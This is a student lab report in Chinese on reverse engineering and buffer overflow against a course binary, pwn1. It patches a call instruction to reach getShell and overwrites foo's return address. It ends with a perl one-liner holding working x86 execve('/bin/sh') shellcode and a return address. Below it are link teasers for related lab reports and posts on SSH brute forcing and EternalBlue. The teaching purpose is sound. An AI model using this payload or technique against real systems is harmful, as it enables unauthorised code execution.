20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础
20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
二、基础知识
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
- NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90。
- JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75。
- JE xxx:当相等时跳转。机器码74
- JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
- CMP:是比较指令,功能相当于减法指令,只是不保存结果。机器码
- 掌握反汇编与十六进制编程器
- 反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。
实验中用到的反汇编命令
objdump -d 20155201 | more
objdump -d
命令是将代码段反汇编,|
管道符号, ,它的功能是把管道|
前的命令执行的结果作为管道后面指令的输入传给下一个指令。
objdump -d name | more
:该命令把name
代码段反汇编,并把输出送给more
命令作为输入,more
命令分页显示反汇编的结果,这样一条指令完成两个功能。 - 反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。
三、实验内容
正确修改机器指令改变程序执行流程
- 反汇编教材文件,这里我copy一份,重命名为我的学号20155201,然后通过
objdump
命令查看汇编代码,找到main
函数中汇编代码的call 8048491 <foo>
部分,可以看到main
函数调用了foo
函数,想要使main
函数调用getshell
函数,可以通过call指令后面的汇编代码部分来实现。只要把8048491这个foo
函数首地址修改成getshell
函数的首地址就804847d可以实现。 - 观察一下
call 8048491
的机器码是e8 d7 ff ff ff
,了解到call
的机器码是e8,并且试想一下数据在机器中是小端法存储,所以d7应该是91部分,把91修改成7d,对应的也要修改成c3部分,把机器码变成e8 c3 ff ff ff
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8 d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
反汇编一下,查看是否修改地址成功
运行程序,查看结果
- 反汇编教材文件,这里我copy一份,重命名为我的学号20155201,然后通过
缓冲区溢出攻击改变程序执行流程
调试未经修改汇编码的程序,观察输入第多少字节后发生缓冲区溢出现象,看到
rip
寄存器中的值变成输入的数据ascii码中,35=5,34=4,所以这里就是5555和4321
发现字节溢出后,只要把溢出的数据换成
getshell
的内存地址输入,就会运行getshell
函数,同修改汇编代码后的程序结果一样。把0804847d这样的十六进制地址数通过脚本输入到程序中
可以看到执行了
getshell
函数
能正确构造payload进行bof攻击
先修改栈设置
准备shellcode
注入攻击后,用另一个终端调试进程
ps -ef | grep 20155201-payl
查看进程号,gdb调试看到01020304的地址在0xffffd25c
修改shellcode,改为0xffffd25c挨着的地址0xffffd260
perl -e 'print "A" x 32;print "\x60\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
成功攻击
20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础的更多相关文章
- 20145311王亦徐《网络对抗技术》MAL_逆向与Bof基础
20145311王亦徐<网络对抗技术>MAL_逆向与Bof基础 实践目标 运行一个可执行文件,通过逆向或者Bof技术执行原本不应该执行的代码片段采用的两种方法: 1.利用foo函数的Bof ...
- 20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础
20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执 ...
- 20165218 《网络对抗技术》Exp1 逆向及Bof基础
Exp1 逆向及Bof基础 基础知识 1. NOP, JNE, JE, JMP, CMP汇编指令的机器码 指令 机器码 NOP NOP指令即"空指令",在x86的CPU中机器码为0 ...
- 2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础
逆向及Bof基础实践 目录 一.实践目标 二.实验操作和步骤 1.直接修改程序机器指令 2.通过构造输入参数,造成BOF攻击. 3.注入Shellcode并执行 三.实验总结 四.实验遇到的错误和问题 ...
- 20145324王嘉澜 《网络对抗技术》 MAL_逆向与Bof基础
实践目标 •本次实践的对象是一个名为pwn1的linux可执行文件. •该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. •该程序同时包含另一个代码片段,get ...
- 20145222黄亚奇 《网络对抗技术》 MAL_逆向与Bof基础
学习目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有 ...
- 20155235 《网络攻防》 实验一 逆向及Bof基础实践说明
20155235 <网络攻防> 实验一 逆向及Bof基础实践说明 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践
20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...
- 20145203盖泽双 《网络对抗技术》实践八:Web基础
20145203盖泽双 <网络对抗技术>实践八:Web基础 1.实践目标 (1)编写Web前端--含有表单的HTML代码. (2)编写Web前端--javascipt验证用户名.密码的代码 ...
随机推荐
- 从零开始一起学习SLAM | 相机成像模型
上一篇文章<从零开始一起学习SLAM | 为啥需要李群与李代数?>以小白和师兄的对话展开,受到了很多读者的好评.本文继续采用对话的方式来学习一下相机成像模型,这个是SLAM中极其重要的内容 ...
- 关于linux中SSH爆破总结
2.思路 (1)对root账号进行暴力破解 (2)使用中国姓名top1000作为用户名进行暴力破解 (3)使用top 10000 password字典进行密码破解 (4)利用掌握信息进行社工信息整理并 ...
- C#字符串比较方法
用C#比较字符串有多种方法,如: 1. string.Compare(x,y);2. string.Equals(x,y) ; 如果要不区分大小写进行比较,则对应为:string.Compare(x, ...
- apc
转载(https://www.kancloud.cn/thinkphp/php-best-practices/40866) 使用 APC 在一个标准的 PHP 环境中,每次访问PHP脚本时,脚本都会被 ...
- vue--监听属性完成大小写字母间的转换
监听属性 watch侦听属性的作用是侦听某属性值的变化,从而做相应的操作,侦听属性是一个对象,它的键是要监听的对象或者变量,值一般是函数,当你侦听的元素发生变化时,需要执行的函数,这个函数有两个形参, ...
- mybatis3 前台传数组 的处理
/** * 分页按条件查询权限列表 * @param keywords * @return */ @RequestMapping(value = "/getByCondition2" ...
- NetSpeed
NetSpeed公司提供的NOC包括三部分,可以通过NocStudio进行配置生成. 1)NetSpeed Orion,面向快速SoC design的可综合平台. 2)Linley NetSpeed ...
- 永恒之蓝msf下 ms17_010 (64位kali下安装wine32)
本次用到的环境: kali(2016.2)32位系统.ip地址:192.168.1.104 目标靶机为:win7sp1x64系统(关闭防火墙),ip地址:192.168.1.105 ========= ...
- Vue系列之 => 使用第三方animated.css动画
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 元素位置pageX,pageY,clientX,clientY,scrollX,scrollY,screenX,screenY,offsetX,offsetY
总结: event.clientX 设置或获取鼠标指针位置相对于当前窗口的 x 坐标,其中客户区域不包括窗口自身的控件和滚动条. (可见区域)event.clientY 设置或获取鼠标指针位置相对于当 ...